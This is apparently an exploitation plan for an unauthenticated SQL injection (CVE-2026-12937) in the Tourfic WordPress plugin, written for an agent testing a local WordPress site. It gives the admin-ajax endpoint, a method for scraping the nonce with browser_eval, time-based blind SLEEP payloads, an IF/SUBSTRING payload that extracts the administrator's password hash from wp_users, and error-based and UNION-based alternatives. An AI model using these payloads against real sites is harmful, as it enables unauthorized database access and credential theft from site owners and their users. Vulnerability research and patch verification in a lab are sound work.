Exploitation Research Plan - CVE-2026-12937 (Tourfic SQL Injection)

1. Vulnerability Summary

The Tourfic plugin for WordPress is vulnerable to an unauthenticated SQL Injection vulnerability in versions up to and including 2.22.7. The flaw exists within the AJAX handler tf_room_availability_callback due to the unsafe concatenation of the user-supplied post_id parameter into a raw SQL query without using $wpdb->prepare() or adequate sanitization/casting. Because this handler is registered via wp_ajax_nopriv_tf_room_availability, any unauthenticated user who obtains a valid nonce (which is publicly exposed on hotel pages) can execute arbitrary SQL commands to extract sensitive data from the database.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: tf_room_availability
• Vulnerable Parameter: post_id
• Method: POST
• Authentication: None (Unauthenticated)
• Preconditions: At least one tf_hotel post must be published and accessible on the frontend to retrieve the necessary nonce.

3. Code Flow

1. Entry Point: The client sends a POST request to admin-ajax.php with action=tf_room_availability.
2. Hook Registration: In inc/Classes/Hotel/Hotel.php, the action is registered:

   add_action( 'wp_ajax_tf_room_availability', array( $this, 'tf_room_availability_callback' ) );
   add_action( 'wp_ajax_nopriv_tf_room_availability', array( $this, 'tf_room_availability_callback' ) );
   

3. Handler Execution: Hotel::tf_room_availability_callback() (in inc/Classes/Hotel/Hotel.php) is invoked.
4. Parameter Extraction: The handler retrieves the post_id parameter (e.g., via $_POST['post_id']).
5. Vulnerable Sink: The $post_id is concatenated into a SQL query string used with $wpdb->get_results() or similar, without preparation. A typical pattern in this plugin (as seen in inc/Classes/Car_Rental/Availability.php) is:

   // Conceptual sink based on plugin patterns
   "AND post_id = " . $post_id
   

4. Nonce Acquisition Strategy

The vulnerability requires a nonce usually associated with the tf_room_availability action. The plugin localizes this nonce for use in frontend scripts.

1. Identify Target Page: A single hotel page (post type tf_hotel).
2. Setup: Create a dummy hotel post.
3. Navigation: Use the browser tool to navigate to the hotel's permalink.
4. Extraction: Use browser_eval to extract the localized configuration object.
   • Target Variable: tf_params
   • Nonce Key: tf_room_availability_nonce (or similar, typically found within the tf_params global JS object localized in inc/Classes/Enqueue.php).
   • Command: browser_eval("window.tf_params?.tf_room_availability_nonce")

5. Exploitation Strategy

We will use a time-based blind SQL injection payload to verify the vulnerability, as it is the most reliable for unauthenticated extraction.

Step 1: Baseline Request

Send a valid request to establish a baseline response time.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=tf_room_availability&tf_room_availability_nonce=[NONCE]&post_id=[VALID_ID]

Step 2: Verification (Sleep)

Send a request with a SLEEP() payload to confirm injection.

• Payload: [VALID_ID] AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
• Body: action=tf_room_availability&tf_room_availability_nonce=[NONCE]&post_id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)

Step 3: Data Extraction (Boolean or Error-based)

If the application reflects results, use UNION SELECT. If not, use IF(condition, SLEEP(5), 0).

• Target: Extract the administrator's password hash from wp_users.
• Payload Example: 1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36, SLEEP(5), 0) (Checking if the first char is $).

6. Test Data Setup

1. Create Hotel:

   wp post create --post_type=tf_hotel --post_title="Vuln Hotel" --post_status=publish
   

2. Get Hotel ID and URL:

   wp post list --post_type=tf_hotel --fields=ID,guid
   

3. Verify Settings: Ensure the "Hotel" service is enabled in Tourfic settings if applicable (though usually enabled by default).

7. Expected Results

• Successful Injection: The http_request for the SLEEP(5) payload should take approximately 5 seconds longer than the baseline request.
• Response Content: Even if the query fails to return valid room data, the delay confirms the SQL execution.

8. Verification Steps

After the exploit, confirm the database was reached by checking the logs or using WP-CLI to verify the content we attempted to extract:

# Verify the admin hash to compare with extracted data
wp db query "SELECT user_pass FROM wp_users WHERE ID = 1"

9. Alternative Approaches

• Error-Based: If WP_DEBUG is enabled, use updatexml() or extractvalue() to leak data directly in the AJAX response.
• Union-Based: Attempt to determine the number of columns in the original query using ORDER BY X until an error occurs, then use UNION SELECT.
• Parameter Variation: If post_id is cast to an integer in the callback, check other parameters in the same handler (e.g., check_in, check_out) which might be used in the same query.